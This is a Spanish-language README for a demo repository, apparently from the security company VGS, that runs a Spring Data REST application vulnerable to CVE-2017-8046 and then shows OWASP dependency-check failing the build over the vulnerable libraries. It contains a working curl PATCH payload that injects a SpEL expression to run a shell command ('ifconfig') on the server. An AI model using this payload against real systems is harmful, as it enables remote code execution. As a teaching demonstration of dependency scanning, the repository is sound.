
DESCARGO DE RESPONSABILIDAD: Este repositorio es complementario al artículo del blog de VGS, Cómo evitar "usar componentes con vulnerabilidades conocidas". Contiene una aplicación con una vulnerabilidad de seguridad conocida (concretamente, CVE-2017-8046), así como la descripción de cómo explotarla. ¡Usa la aplicación bajo tu propio riesgo!
Primero, inicia la aplicación ejecutando el siguiente comando desde la raíz del repositorio:
mvn clean spring-boot:run
Segundo, crea un recurso enviando una solicitud POST como esta:
curl -X POST http://localhost:8080/books \
-H 'Content-Type: application/json' \
-d '{"isbn":"978-3827268969","title":"Thinking in Java","author":"Bruce Eckel"}'
curl -X PATCH http://localhost:8080/books/1 -H 'Content-Type: application/json-patch+json' -d '[{"op":"replace","path":"T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ifconfig\").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x","value":"Your application has been hacked"}]'
Siempre que ejecutes la aplicación en un sistema operativo basado en Unix (p. ej., macOS), la respuesta contendrá la configuración de red del host. De hecho, cualquier SpEL expresión puede ser utilizada.
mvn clean package verify
La compilación fallará porque se ha identificado una dependencia con una vulnerabilidad de alto riesgo:
[ERROR] Failed to execute goal org.owasp:dependency-check-maven:3.3.2:check (default) on project CVE-2017-8046:
[ERROR]
[ERROR] One or more dependencies were identified with vulnerabilities that have a CVSS score greater than or equal to '7.0':
[ERROR]
[ERROR] spring-boot-1.5.5.RELEASE.jar: CVE-2017-8046
[ERROR] spring-core-4.3.10.RELEASE.jar: CVE-2018-1275, CVE-2018-1270
[ERROR] jackson-databind-2.8.9.jar: CVE-2017-15095, CVE-2017-17485, CVE-2018-7489
[ERROR] spring-boot-starter-data-rest-1.5.5.RELEASE.jar: CVE-2018-1273, CVE-2017-8046
[ERROR]
[ERROR] See the dependency-check report for more details.
¿Quieres empezar de una vez? Consulta nuestra guía de inicio rápido.
Very Good Security (VGS) te permite mejorar tu postura de seguridad mientras mantienes la utilidad de tus datos de forma interna y con terceros. Como beneficio adicional, aceleramos tu proceso de certificación de cumplimiento y te ayudamos a obtener rápidamente las certificaciones de seguridad relacionadas con el cumplimiento que se interponen entre tú y tus oportunidades de mercado.
Para obtener más información, visítanos en https://www.verygoodsecurity.com/
Este proyecto está licenciado bajo la licencia MIT. Consulta el archivo LICENSE para más detalles.